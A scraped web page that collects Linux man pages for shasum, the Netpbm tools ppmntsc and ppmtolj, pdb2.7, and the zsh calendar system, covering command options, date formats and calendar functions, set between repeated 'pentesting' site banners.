Usage: shasum [OPTION]… [FILE]… Print or check SHA checksums. With no FILE, or when FILE is -, read standard input. -a, –algorithm 1 (default), 224, 256, 384, 512, 512224, 512256 -b, –binary read in binary mode -c, –check read SHA sums from the FILEs and check them –tag create a BSD-style checksum -t, –text read in text mode (default) -U, –UNIVERSAL read in Universal Newlines mode produces same digest on Windows/Unix/Mac -0, –01 read in BITS mode ASCII 0 interpreted as 0-bit, ASCII 1 interpreted as 1-bit, all other characters ignored The following five options are useful only when verifying checksums: –ignore-missing dont fail or report status for missing files -q, –quiet dont print OK for each successfully verified file -s, –status dont output anything, status code shows success –strict exit non-zero for improperly formatted checksum lines -w, –warn warn about improperly formatted checksum lines -h, –help display this help and exit -v, –version output version information and exit When verifying SHA-512/224 or SHA-512/256 checksums, indicate the algorithm explicitly using the -a option, e.g. shasum -a 512224 -c checksumfile The sums are computed as described in FIPS PUB 180-4. When checking, the input should be a former output of this program. The default mode is to print a line with checksum, a character indicating type (`* for binary, ` for text, `U for UNIVERSAL, `^ for BITS), and name for each FILE. The line starts with a `\ character if the FILE name contains either newlines or backslashes, which are then replaced by the two-character sequences ` and `\ respectively. Report shasum bugs to [email protected]

DESCRIPTION

Running shasum is often the quickest way to compute SHA message digests. The user simply feeds data to the script through files or standard input, and then collects the results from standard output.

The following command shows how to compute digests for typical inputs such as the NIST test vector “abc”:

perl -e “print qq(abc)” | shasum

Or, if you want to use SHA-256 instead of the default SHA-1, simply say:

perl -e “print qq(abc)” | shasum -a 256

Since shasum mimics the behavior of the combined GNU sha1sum, sha224sum, sha256sum, sha384sum, and sha512sum programs, you can install this script as a convenient drop-in replacement.

Unlike the GNU programs, shasum encompasses the full SHA standard by allowing partial-byte inputs. This is accomplished through the BITS option (-0). The following example computes the SHA-224 digest of the 7-bit message 0001100:

perl -e “print qq(0001100)” | shasum -0 -a 224

AUTHOR

Copyright (C) 2003-2023 Mark Shelor <[email protected]>.

SEE ALSO

shasum is implemented using the Perl module Digest::SHA.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2158 - Linux cli command ppmntsc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmntsc and provides detailed information about the command ppmntsc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmntsc.

.

NAME 🖥️ ppmntsc 🖥️

Make RGB colors legal for NTSC or PAL color systems.

SYNOPSIS

ppmntsc

[–pal] [–legalonly] [–illegalonly] [–correctedonly] [–verbose] [–debug] [infile]

Minimum unique abbreviations of options are acceptable.

DESCRIPTION

This program is part of Netpbm(1) .

This program makes colors legal in the NTSC (or PAL) color systems. Often, images generated on the computer are made for use in movies which ultimately end up on a television screen. However, the range of colors (as specified by their RGB values) on a computer does not match the range of colors that can be represented using the NTSC (or PAL) systems. If an image with “illegal” colors is sent directly to an NTSC (or PAL) video system for recording, the “illegal” colors will be clipped. This may result in an undesirable looking picture.

This utility tests each pixel in an image to see if it falls within the legal NTSC (or PAL) range. If not, it raises or lowers the pixel’s saturation in the output so that it does fall within legal limits. Pixels that are already OK just go unmodified into the output.

Input is from the file named input. If input is -, input is from Standard Input. If you don’t specify input, input is from Standard Input.

Output is always to Standard Output.

This program handles multi-image PPM input, producing multi-image PPM output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmntsc recognizes the following command line options:

–pal
Use the PAL transform instead of the default NTSC.

–verbose
Print a grand total of the number of illegal pixels.

–debug
Produce a humongous listing of illegal colors and their legal counterparts. NOTE: This option may produce a great deal of output.

–legalonly
Output only pixels that are already legal. Output black in place of pixels that are not.

–illegalonly
Output only pixels that are illegal (and output them uncorrected). Output black in place of pixels that are already legal.

–correctedonly
Output only pixels that are corrected versions of illegal pixels. Output black in place of pixels that are already legal.

SEE ALSO

pamdepth(1) , ppmdim(1) , pambrighten(1) , ppm(1)

AUTHOR

Wes Barris, Minnesota Supercomputer Center, Inc., Bryan Henderson

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmntsc.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2159 - Linux cli command pdb2.7

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdb2.7 and provides detailed information about the command pdb2.7, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdb2.7.

NAME 🖥️ pdb2.7 🖥️

the Python debugger

SYNOPSIS

pdb2.7 script […]

DESCRIPTION

See /usr/lib/python2.7/pdb.doc for more information on the use of pdb. When the debugger is started, help is available via the help command.

SEE ALSO

python2.7(1). Chapter 9 of the Python Library Reference (The Python Debugger). Available in the python2.7-doc package at /usr/share/doc/python2.7/html/lib/module-pdb.html.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2160 - Linux cli command ppmtolj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtolj and provides detailed information about the command ppmtolj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtolj.

.

NAME 🖥️ ppmtolj 🖥️

convert a PPM image to an HP LaserJet PCL 5 Color file

SYNOPSIS

ppmtolj

[-gamma val]

[-resolution {75|100|150|300|600}]

[-delta]

[-float]

[-noreset]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtolj reads a PPM image as input and converts it into a color file suitable to be printed by an HP color PCL 5 printer.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtolj recognizes the following command line options:

-delta
Apply delta row compression to reduce the size of the pcl file.

-gamma int
Gamma correct the image using the integer parameter as a gamma (default 0).

-float
Suppress positioning information. The default is to write the sequence ESC&l0E to the output.

-noreset
Don’t write the reset sequence to the beginning and end of the output.

-resolution
Set the required output resolution 75|100|150|300|600

SEE ALSO

HP PCL 5 & Color Reference Guide, pnmtopclxl(1) , pbmtolj(1) , ppmtopj(1) , thinkjettopbm(1) , ppm(1)

AUTHOR

Copyright (C) 2000 by Jonathan Melvin.([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtolj.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2161 - Linux cli command zshcalsys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshcalsys and provides detailed information about the command zshcalsys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshcalsys.

NAME 🖥️ zshcalsys 🖥️

zsh calendar system

DESCRIPTION

The shell is supplied with a series of functions to replace and enhance the traditional Unix calendar programme, which warns the user of imminent or future events, details of which are stored in a text file (typically calendar in the user’s home directory). The version provided here includes a mechanism for alerting the user when an event is due.

In addition functions age, before and after are provided that can be used in a glob qualifier; they allow files to be selected based on their modification times.

The format of the calendar file and the dates used there in and in the age function are described first, then the functions that can be called to examine and modify the calendar file.

The functions here depend on the availability of the zsh/datetime module which is usually installed with the shell. The library function strptime() must be available; it is present on most recent operating systems.

FILE AND DATE FORMATS

Calendar File Format

The calendar file is by default ~/calendar. This can be configured by the calendar-file style, see the section STYLES below. The basic format consists of a series of separate lines, with no indentation, each including a date and time specification followed by a description of the event.

Various enhancements to this format are supported, based on the syntax of Emacs calendar mode. An indented line indicates a continuation line that continues the description of the event from the preceding line (note the date may not be continued in this way). An initial ampersand (&) is ignored for compatibility.

An indented line on which the first non-whitespace character is # is not displayed with the calendar entry, but is still scanned for information. This can be used to hide information useful to the calendar system but not to the user, such as the unique identifier used by calendar_add.

The Emacs extension that a date with no description may refer to a number of succeeding events at different times is not supported.

Unless the done-file style has been altered, any events which have been processed are appended to the file with the same name as the calendar file with the suffix .done, hence ~/calendar.done by default.

An example is shown below.

Date Format

The format of the date and time is designed to allow flexibility without admitting ambiguity. (The words `date’ and `time’ are both used in the documentation below; except where specifically noted this implies a string that may include both a date and a time specification.) Note that there is no localization support; month and day names must be in English and separator characters are fixed. Matching is case insensitive, and only the first three letters of the names are significant, although as a special case a form beginning “month” does not match “Monday”. Furthermore, time zones are not handled; all times are assumed to be local.

It is recommended that, rather than exploring the intricacies of the system, users find a date format that is natural to them and stick to it. This will avoid unexpected effects. Various key facts should be noted.

· In particular, note the confusion between month**/day/year and day/month/**year when the month is numeric; these formats should be avoided if at all possible. Many alternatives are available.

·
The year must be given in full to avoid confusion, and only years from 1900 to 2099 inclusive are matched.

The following give some obvious examples; users finding here a format they like and not subject to vagaries of style may skip the full description. As dates and times are matched separately (even though the time may be embedded in the date), any date format may be mixed with any format for the time of day provide the separators are clear (whitespace, colons, commas).

2007/04/03 13:13 2007/04/03:13:13 2007/04/03 1:13 pm 3rd April 2007, 13:13 April 3rd 2007 1:13 p.m. Apr 3, 2007 13:13 Tue Apr 03 13:13:00 2007 13:13 2007/apr/3

More detailed rules follow.

Times are parsed and extracted before dates. They must use colons to separate hours and minutes, though a dot is allowed before seconds if they are present. This limits time formats to the following:

· HH**:MM[:SS[.**FFFFF]] [am|pm|a.m.|p.m.]

·
HH**:MM.SS[.**FFFFF] [am|pm|a.m.|p.m.]

Here, square brackets indicate optional elements, possibly with alternatives. Fractions of a second are recognised but ignored. For absolute times (the normal format require by the calendar file and the age, before and after functions) a date is mandatory but a time of day is not; the time returned is at the start of the date. One variation is allowed: if a.m. or p.m. or one of their variants is present, an hour without a minute is allowed, e.g. 3 p.m..

Time zones are not handled, though if one is matched following a time specification it will be removed to allow a surrounding date to be parsed. This only happens if the format of the timezone is not too unusual. The following are examples of forms that are understood:

+0100 GMT GMT-7 CET+1CDT

Any part of the timezone that is not numeric must have exactly three capital letters in the name.

Dates suffer from the ambiguity between DD**/MM/YYYY and MM/DD/**YYYY. It is recommended this form is avoided with purely numeric dates, but use of ordinals, eg. 3rd/04/2007, will resolve the ambiguity as the ordinal is always parsed as the day of the month. Years must be four digits (and the first two must be 19 or 20); 03/04/08 is not recognised. Other numbers may have leading zeroes, but they are not required. The following are handled:

· YYYY**/MM/**DD

·
YYYY**-MM-**DD

·
YYYY**/MNM/**DD

·
YYYY**-MNM-**DD

·
DD[th|st|rd] MNM[,] [ YYYY ]

·
MNM DD[th|st|rd][,] [ YYYY ]

·
DD[th|st|rd]/MM[,] YYYY

·
DD[th|st|rd]**/MM/**YYYY

·
MM**/DD[th|st|rd][,**] YYYY

·
MM**/DD[th|st|rd]/**YYYY

Here, MNM is at least the first three letters of a month name, matched case-insensitively. The remainder of the month name may appear but its contents are irrelevant, so janissary, febrile, martial, apricot, maybe, junta, etc. are happily handled.

Where the year is shown as optional, the current year is assumed. There are only two such cases, the form Jun 20 or 14 September (the only two commonly occurring forms, apart from a “the” in some forms of English, which isn’t currently supported). Such dates will of course become ambiguous in the future, so should ideally be avoided.

Times may follow dates with a colon, e.g. 1965/07/12:09:45; this is in order to provide a format with no whitespace. A comma and whitespace are allowed, e.g. 1965/07/12, 09:45. Currently the order of these separators is not checked, so illogical formats such as 1965/07/12, : ,09:45 will also be matched. For simplicity such variations are not shown in the list above. Otherwise, a time is only recognised as being associated with a date if there is only whitespace in between, or if the time was embedded in the date.

Days of the week are not normally scanned, but will be ignored if they occur at the start of the date pattern only. However, in contexts where it is useful to specify dates relative to today, days of the week with no other date specification may be given. The day is assumed to be either today or within the past week. Likewise, the words yesterday, today and tomorrow are handled. All matches are case-insensitive. Hence if today is Monday, then Sunday is equivalent to yesterday, Monday is equivalent to today, but Tuesday gives a date six days ago. This is not generally useful within the calendar file. Dates in this format may be combined with a time specification; for example Tomorrow, 8 p.m..

For example, the standard date format:

Fri Aug 18 17:00:48 BST 2006

is handled by matching HH**:MM:**SS and removing it together with the matched (but unused) time zone. This leaves the following:

Fri Aug 18 2006

Fri is ignored and the rest is matched according to the standard rules.

Relative Time Format

In certain places relative times are handled. Here, a date is not allowed; instead a combination of various supported periods are allowed, together with an optional time. The periods must be in order from most to least significant.

In some cases, a more accurate calculation is possible when there is an anchor date: 2020-01-01

Anchors are available in the following cases. If one or two times are passed to the function calendar, the start time acts an anchor for the end time when the end time is relative (even if the start time is implicit). When examining calendar files, the scheduled event being examined anchors the warning time when it is given explicitly by means of the WARN keyword; likewise, the scheduled event anchors a repetition period when given by the RPT keyword, so that specifications such as RPT 2 months, 3rd Thursday are handled properly. Finally, the -R argument to calendar_scandate directly provides an anchor for relative calculations.

The periods handled, with possible abbreviations are:

Years years, yrs, ys, year, yr, y, yearly. A year is 365.25 days unless there is an anchor.

Months
months, mons, mnths, mths, month, mon, mnth, mth, monthly. Note that m, ms, mn, mns are ambiguous and are not handled. A month is a period of 30 days rather than a calendar month unless there is an anchor.

Weeks
weeks, wks, ws, week, wk, w, weekly

Days
days, dys, ds, day, dy, d, daily

Hours
hours, hrs, hs, hour, hr, h, hourly

Minutes
minutes, mins, minute, min, but not m, ms, mn or mns

Seconds
seconds, secs, ss, second, sec, s

Spaces between the numbers are optional, but are required between items, although a comma may be used (with or without spaces).

The forms yearly to hourly allow the number to be omitted; it is assumed to be 1. For example, 1 d and daily are equivalent. Note that using those forms with plurals is confusing; 2 yearly is the same as 2 years, not twice yearly, so it is recommended they only be used without numbers.

When an anchor time is present, there is an extension to handle regular events in the form of the nth someday of the month. Such a specification must occur immediately after any year and month specification, but before any time of day, and must be in the form n(th|st|rd) day, for example 1st Tuesday or 3rd Monday. As in other places, days are matched case insensitively, must be in English, and only the first three letters are significant except that a form beginning `month’ does not match `Monday’. No attempt is made to sanitize the resulting date; attempts to squeeze too many occurrences into a month will push the day into the next month (but in the obvious fashion, retaining the correct day of the week).

Here are some examples:

30 years 3 months 4 days 3:42:41 14 days 5 hours Monthly, 3rd Thursday 4d,10hr

Example

Here is an example calendar file. It uses a consistent date format, as recommended above.

Feb 1, 2006 14:30 Pointless bureaucratic meeting Mar 27, 2006 11:00 Mutual recrimination and finger pointing Bring water pistol and waterproofs Mar 31, 2006 14:00 Very serious managerial pontification # UID 12C7878A9A50 Apr 10, 2006 13:30 Even more pointless blame assignment exercise WARN 30 mins May 18, 2006 16:00 Regular moaning session RPT monthly, 3rd Thursday

The second entry has a continuation line. The third entry has a continuation line that will not be shown when the entry is displayed, but the unique identifier will be used by the calendar_add function when updating the event. The fourth entry will produce a warning 30 minutes before the event (to allow you to equip yourself appropriately). The fifth entry repeats after a month on the 3rd Thursday, i.e. June 15, 2006, at the same time.

USER FUNCTIONS

This section describes functions that are designed to be called directly by the user. The first part describes those functions associated with the user’s calendar; the second part describes the use in glob qualifiers.

Calendar system functions

calendar [ -abdDsv ] [ -C calfile ] [ -n num ] [ -S showprog ]

[ [ start ] end ]

calendar -r [ -abdDrsv ] [ -C calfile ] [ -n num ] [ -S showprog ]

[ start ] Show events in the calendar.

With no arguments, show events from the start of today until the end of the next working day after today. In other words, if today is Friday, Saturday, or Sunday, show up to the end of the following Monday, otherwise show today and tomorrow.

If end is given, show events from the start of today up to the time and date given, which is in the format described in the previous section. Note that if this is a date the time is assumed to be midnight at the start of the date, so that effectively this shows all events before the given date.

end may start with a +, in which case the remainder of the specification is a relative time format as described in the previous section indicating the range of time from the start time that is to be included.

If start is also given, show events starting from that time and date. The word now can be used to indicate the current time.

To implement an alert when events are due, include calendar -s in your ~/.zshrc file.

Options:

-a Show all items in the calendar, regardless of the start and end.

-b
Brief: don’t display continuation lines (i.e. indented lines following the line with the date/time), just the first line.

-B lines
Brief: display at most the first lines lines of the calendar entry. `-B 1’ is equivalent to `-b'.

-C calfile
Explicitly specify a calendar file instead of the value of the calendar-file style or the default ~/calendar.

-d
Move any events that have passed from the calendar file to the “done” file, as given by the done-file style or the default which is the calendar file with .done appended. This option is implied by the -s option.

-D
Turns off the option -d, even if the -s option is also present.

-n num, **-**num
Show at least num events, if present in the calendar file, regardless of the start and end.

-r
Show all the remaining options in the calendar, ignoring the given end time. The start time is respected; any argument given is treated as a start time.

-s
Use the shell’s sched command to schedule a timed event that will warn the user when an event is due. Note that the sched command only runs if the shell is at an interactive prompt; a foreground task blocks the scheduled task from running until it is finished.

The timed event usually runs the programme calendar_show to show the event, as described in the section UTILITY FUNCTIONS below.

By default, a warning of the event is shown five minutes before it is due. The warning period can be configured by the style warn-time or for a single calendar entry by including WARN reltime in the first line of the entry, where reltime is one of the usual relative time formats.

A repeated event may be indicated by including RPT reldate in the first line of the entry. After the scheduled event has been displayed it will be re-entered into the calendar file at a time reldate after the existing event. Note that this is currently the only use made of the repeat count, so that it is not possible to query the schedule for a recurrence of an event in the calendar until the previous event has passed.

If RPT is used, it is also possible to specify that certain recurrences of an event are rescheduled or cancelled. This is done with the OCCURRENCE keyword, followed by whitespace and the date and time of the occurrence in the regular sequence, followed by whitespace and either the date and time of the rescheduled event or the exact string CANCELLED. In this case the date and time must be in exactly the “date with local time” format used by the text/calendar MIME type (RFC 2445), <YYYY><MM><DD>T<hh><mm><ss> (note the presence of the literal character T). The first word (the regular recurrence) may be something other than a proper date/time to indicate that the event is additional to the normal sequence; a convention that retains the formatting appearance is XXXXXXXXTXXXXXX.

Furthermore, it is useful to record the next regular recurrence (as then the displayed date may be for a rescheduled event so cannot be used for calculating the regular sequence). This is specified by RECURRENCE and a time or date in the same format. calendar_add adds such an indication when it encounters a recurring event that does not include one, based on the headline date/time.

If calendar_add is used to update occurrences the UID keyword described there should be present in both the existing entry and the added occurrence in order to identify recurring event sequences.

For example,

Thu May 6, 2010 11:00 Informal chat RPT 1 week # RECURRENCE 20100506T110000 # OCCURRENCE 20100513T110000 20100513T120000 # OCCURRENCE 20100520T110000 CANCELLED

The event that occurs at 11:00 on 13th May 2010 is rescheduled an hour later. The event that occurs a week later is cancelled. The occurrences are given on a continuation line starting with a # character so will not usually be displayed as part of the event. As elsewhere, no account of time zones is taken with the times. After the next event occurs the headline date/time will be `Thu May 13, 2010 12:00’ while the RECURRENCE date/time will be `20100513T110000’ (note that cancelled and moved events are not taken account of in the RECURRENCE, which records what the next regular recurrence is, but they are accounted for in the headline date/time).

It is safe to run calendar -s to reschedule an existing event (if the calendar file has changed, for example), and also to have it running in multiples instances of the shell since the calendar file is locked when in use.

By default, expired events are moved to the “done” file; see the -d option. Use -D to prevent this.

-S showprog
Explicitly specify a programme to be used for showing events instead of the value of the show-prog style or the default calendar_show.

-v
Verbose: show more information about stages of processing. This is useful for confirming that the function has successfully parsed the dates in the calendar file.

calendar_add [ -BL ] event
Adds a single event to the calendar in the appropriate location. The event can contain multiple lines, as described in the section `Calendar File Format’ above. Using this function ensures that the calendar file is sorted in date and time order. It also makes special arrangements for locking the file while it is altered. The old calendar is left in a file with the suffix .old.

The option -B indicates that backing up the calendar file will be handled by the caller and should not be performed by calendar_add. The option -L indicates that calendar_add does not need to lock the calendar file as it is already locked. These options will not usually be needed by users.

If the style reformat-date is true, the date and time of the new entry will be rewritten into the standard date format: see the descriptions of this style and the style date-format.

The function can use a unique identifier stored with each event to ensure that updates to existing events are treated correctly. The entry should contain the word UID, followed by whitespace, followed by a word consisting entirely of hexadecimal digits of arbitrary length (all digits are significant, including leading zeroes). As the UID is not directly useful to the user, it is convenient to hide it on an indented continuation line starting with a #, for example:

Aug 31, 2007 09:30 Celebrate the end of the holidays # UID 045B78A0

The second line will not be shown by the calendar function.

It is possible to specify the RPT keyword followed by CANCELLED instead of a relative time. This causes any matched event or series of events to be cancelled (the original event does not have to be marked as recurring in order to be cancelled by this method). A UID is required in order to match an existing event in the calendar.

calendar_add will attempt to manage recurrences and occurrences of repeating events as described for event scheduling by calendar -s above. To reschedule or cancel a single event calendar_add should be called with an entry that includes the correct UID but does not include the RPT keyword as this is taken to mean the entry applies to a series of repeating events and hence replaces all existing information. Each rescheduled or cancelled occurrence must have an OCCURRENCE keyword in the entry passed to calendar_add which will be merged into the calendar file. Any existing reference to the occurrence is replaced. An occurrence that does not refer to a valid existing event is added as a one-off occurrence to the same calendar entry.

calendar_edit
This calls the user’s editor to edit the calendar file. If there are arguments, they are taken as the editor to use (the file name is appended to the commands); otherwise, the editor is given by the variable VISUAL, if set, else the variable EDITOR.

If the calendar scheduler was running, then after editing the file calendar -s is called to update it.

This function locks out the calendar system during the edit. Hence it should be used to edit the calendar file if there is any possibility of a calendar event occurring meanwhile. Note this can lead to another shell with calendar functions enabled hanging waiting for a lock, so it is necessary to quit the editor as soon as possible.

calendar_parse calendar-entry
This is the internal function that analyses the parts of a calendar entry, which is passed as the only argument. The function returns status 1 if the argument could not be parsed as a calendar entry and status 2 if the wrong number of arguments were passed; it also sets the parameter reply to an empty associative array. Otherwise, it returns status 0 and sets elements of the associative array reply as follows:

time
The time as a string of digits in the same units as $EPOCHSECONDS

schedtime
The regularly scheduled time. This may differ from the actual event time time if this is a recurring event and the next occurrence has been rescheduled. Then time gives the actual time and schedtime the time of the regular recurrence before modification.

text1
The text from the line not including the date and time of the event, but including any WARN or RPT keywords and values.

warntime
Any warning time given by the WARN keyword as a string of digits containing the time at which to warn in the same units as $EPOCHSECONDS. (Note this is an absolute time, not the relative time passed down.) Not set no WARN keyword and value were matched.

warnstr
The raw string matched after the WARN keyword, else unset.

rpttime
Any recurrence time given by the RPT keyword as a string of digits containing the time of the recurrence in the same units as $EPOCHSECONDS. (Note this is an absolute time.) Not set if no RPT keyword and value were matched.

schedrpttime
The next regularly scheduled occurrence of a recurring event before modification. This may differ from rpttime, which is the actual time of the event that may have been rescheduled from the regular time.

rptstr
The raw string matched after the RPT keyword, else unset.

text2
The text from the line after removal of the date and any keywords and values.

calendar_showdate [ -r ] [ -f fmt ] date-spec
The given date-spec is interpreted and the corresponding date and time printed. If the initial date-spec begins with a + or - it is treated as relative to the current time; date-specs after the first are treated as relative to the date calculated so far and a leading + is optional in that case. This allows one to use the system as a date calculator. For example, calendar_showdate ‘+1 month, 1st Friday’ shows the date of the first Friday of next month.

With the option -r nothing is printed but the value of the date and time in seconds since the epoch is stored in the parameter REPLY.

With the option -f fmt the given date/time conversion format is passed to strftime; see notes on the date-format style below.

In order to avoid ambiguity with negative relative date specifications, options must occur in separate words; in other words, -r and -f should not be combined in the same word.

calendar_sort
Sorts the calendar file into date and time order. The old calendar is left in a file with the suffix .old.

Glob qualifiers

age The function age can be autoloaded and use separately from the calendar system, although it uses the function calendar_scandate for date formatting. It requires the zsh/stat builtin, but uses only the builtin zstat.

age selects files having a given modification time for use as a glob qualifier. The format of the date is the same as that understood by the calendar system, described in the section FILE AND DATE FORMATS above.

The function can take one or two arguments, which can be supplied either directly as command or arguments, or separately as shell parameters.

print *(e:age 2006/10/04 2006/10/09:)

The example above matches all files modified between the start of those dates. The second argument may alternatively be a relative time introduced by a +:

print *(e:age 2006/10/04 +5d:)

The example above is equivalent to the previous example.

In addition to the special use of days of the week, today and yesterday, times with no date may be specified; these apply to today. Obviously such uses become problematic around midnight.

print *(e-age 12:00 13:30-)

The example above shows files modified between 12:00 and 13:00 today.

print *(e:age 2006/10/04:)

The example above matches all files modified on that date. If the second argument is omitted it is taken to be exactly 24 hours after the first argument (even if the first argument contains a time).

print *(e-age 2006/10/04:10:15 2006/10/04:10:45-)

The example above supplies times. Note that whitespace within the time and date specification must be quoted to ensure age receives the correct arguments, hence the use of the additional colon to separate the date and time.

AGEREF=2006/10/04:10:15 AGEREF2=2006/10/04:10:45 print *(+age)

This shows the same example before using another form of argument passing. The dates and times in the parameters AGEREF and AGEREF2 stay in effect until unset, but will be overridden if any argument is passed as an explicit argument to age. Any explicit argument causes both parameters to be ignored.

Instead of an explicit date and time, it’s possible to use the modification time of a file as the date and time for either argument by introducing the file name with a colon:

print *(e-age :file1-)

matches all files created on the same day (24 hours starting from midnight) as file1.

print *(e-age :file1 :file2-)

matches all files modified no earlier than file1 and no later than file2; precision here is to the nearest second.

after

before The functions after and before are simpler versions of age that take just one argument. The argument is parsed similarly to an argument of age; if it is not given the variable AGEREF is consulted. As the names of the functions suggest, a file matches if its modification time is after or before the time and date specified. If a time only is given the date is today.

The two following examples are therefore equivalent:

print *(e-after 12:00-) print *(e-after today:12:00-)

STYLES

The zsh style mechanism using the zstyle command is describe in zshmodules(1). This is the same mechanism used in the completion system.

The styles below are all examined in the context :datetime:function:, for example :datetime:calendar:.

calendar-file The location of the main calendar. The default is ~/calendar.

date-format
A strftime format string (see strftime(3)) with the zsh extensions providing various numbers with no leading zero or space if the number is a single digit as described for the %D{string} prompt format in the section EXPANSION OF PROMPT SEQUENCES in zshmisc(1).

This is used for outputting dates in calendar, both to support the -v option and when adding recurring events back to the calendar file, and in calendar_showdate as the final output format.

If the style is not set, the default used is similar the standard system format as output by the date command (also known as `ctime format’): `%a %b %d %H:%M:%S %Z %Y’.

done-file
The location of the file to which events which have passed are appended. The default is the calendar file location with the suffix .done. The style may be set to an empty string in which case a “done” file will not be maintained.

reformat-date
Boolean, used by calendar_add. If it is true, the date and time of new entries added to the calendar will be reformatted to the format given by the style date-format or its default. Only the date and time of the event itself is reformatted; any subsidiary dates and times such as those associated with repeat and warning times are left alone.

show-prog
The programme run by calendar for showing events. It will be passed the start time and stop time of the events requested in seconds since the epoch followed by the event text. Note that calendar -s uses a start time and stop time equal to one another to indicate alerts for specific events.

The default is the function calendar_show.

warn-time
The time before an event at which a warning will be displayed, if the first line of the event does not include the text EVENT reltime. The default is 5 minutes.

UTILITY FUNCTIONS

calendar_lockfiles Attempt to lock the files given in the argument. To prevent problems with network file locking this is done in an ad hoc fashion by attempting to create a symbolic link to the file with the name file**.lockfile**. No other system level functions are used for locking, i.e. the file can be accessed and modified by any utility that does not use this mechanism. In particular, the user is not prevented from editing the calendar file at the same time unless calendar_edit is used.

